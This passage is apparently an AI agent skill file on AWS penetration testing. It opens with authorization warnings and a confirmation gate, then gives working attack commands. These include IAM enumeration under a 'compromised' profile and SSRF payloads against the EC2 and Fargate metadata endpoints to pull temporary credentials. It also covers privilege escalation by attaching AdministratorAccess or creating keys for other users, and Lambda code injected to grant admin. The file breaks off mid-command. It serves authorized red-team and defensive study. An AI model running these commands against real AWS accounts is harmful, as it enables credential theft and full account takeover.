/aws-penetration-testing

name: aws-penetration-testing
description: "Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations."
risk: offensive
source: community
author: zebbern
date_added: "2026-02-27"

> **⚠️ AUTHORIZED USE ONLY** > This skill is for educational purposes or authorized security assessments only. > You must have explicit, written permission from the system owner before using this tool. > Misuse of this tool is illegal and strictly prohibited.

> **Mandatory confirmation gate** > Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target: > 1. Ask the user to state the exact target URL, IP, account, or resource. > 2. Ask the user to confirm written authorization and the permitted scope. > 3. Show the exact command(s) and explain their expected effect. > 4. Wait for explicit confirmation in the current conversation. > > Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.

AWS Penetration Testing

Purpose

Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations.

Inputs/Prerequisites

• AWS CLI configured with credentials
• Valid AWS credentials (even low-privilege)
• Understanding of AWS IAM model
• Python 3, boto3 library
• Tools: Pacu, Prowler, ScoutSuite, SkyArk

Outputs/Deliverables

• IAM privilege escalation paths
• Extracted credentials and secrets
• Compromised EC2/Lambda/S3 resources
• Persistence mechanisms
• Security audit findings

---

Essential Tools

| Tool | Purpose | Installation | |------|---------|--------------| | Pacu | AWS exploitation framework | `git clone https://github.com/RhinoSecurityLabs/pacu` | | SkyArk | Shadow Admin discovery | `Import-Module .\SkyArk.ps1` | | Prowler | Security auditing | `pip install prowler` | | ScoutSuite | Multi-cloud auditing | `pip install scoutsuite` | | enumerate-iam | Permission enumeration | `git clone https://github.com/andresriancho/enumerate-iam` | | Principal Mapper | IAM analysis | `pip install principalmapper` |

---

Core Workflow

Step 1: Initial Enumeration

Identify the compromised identity and permissions:

# Check current identity
aws sts get-caller-identity

# Configure profile
aws configure --profile compromised

# List access keys
aws iam list-access-keys

# Enumerate permissions
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...

Step 2: IAM Enumeration

# List all users
aws iam list-users

# List groups for user
aws iam list-groups-for-user --user-name TARGET_USER

# List attached policies
aws iam list-attached-user-policies --user-name TARGET_USER

# List inline policies
aws iam list-user-policies --user-name TARGET_USER

# Get policy details
aws iam get-policy --policy-arn POLICY_ARN
aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1

# List roles
aws iam list-roles
aws iam list-attached-role-policies --role-name ROLE_NAME

Step 3: Metadata SSRF (EC2)

Exploit SSRF to access metadata endpoint (IMDSv1):

# Access metadata endpoint
http://169.254.169.254/latest/meta-data/

# Get IAM role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Extract temporary credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME

# Response contains:
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",
  "Expiration": "2019-08-01T05:20:30Z"
}

**For IMDSv2 (token required):**

# Get token first
TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
  "http://169.254.169.254/latest/api/token")

# Use token for requests
curl -H "X-aws-ec2-metadata-token:$TOKEN" \
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/"

**Fargate Container Credentials:**

# Read environment for credential path
/proc/self/environ
# Look for: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/...

# Access credentials
http://169.254.170.2/v2/credentials/CREDENTIAL-PATH

---

Privilege Escalation Techniques

Shadow Admin Permissions

These permissions are equivalent to administrator:

| Permission | Exploitation | |------------|--------------| | `iam:CreateAccessKey` | Create keys for admin user | | `iam:CreateLoginProfile` | Set password for any user | | `iam:AttachUserPolicy` | Attach admin policy to self | | `iam:PutUserPolicy` | Add inline admin policy | | `iam:AddUserToGroup` | Add self to admin group | | `iam:PassRole` + `ec2:RunInstances` | Launch EC2 with admin role | | `lambda:UpdateFunctionCode` | Inject code into Lambda |

Create Access Key for Another User

aws iam create-access-key --user-name target_user

Attach Admin Policy

aws iam attach-user-policy --user-name my_username \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

Add Inline Admin Policy

aws iam put-user-policy --user-name my_username \
  --policy-name admin_policy \
  --policy-document file://admin-policy.json

Lambda Privilege Escalation

# code.py - Inject into Lambda function
import boto3

def lambda_handler(event, context):
    client = boto3.client('iam')
    response = client.attach_user_policy(
        UserName='my_username',
        PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
    )
    return response

# Update Lambda code
aws lambda update-function-code --funct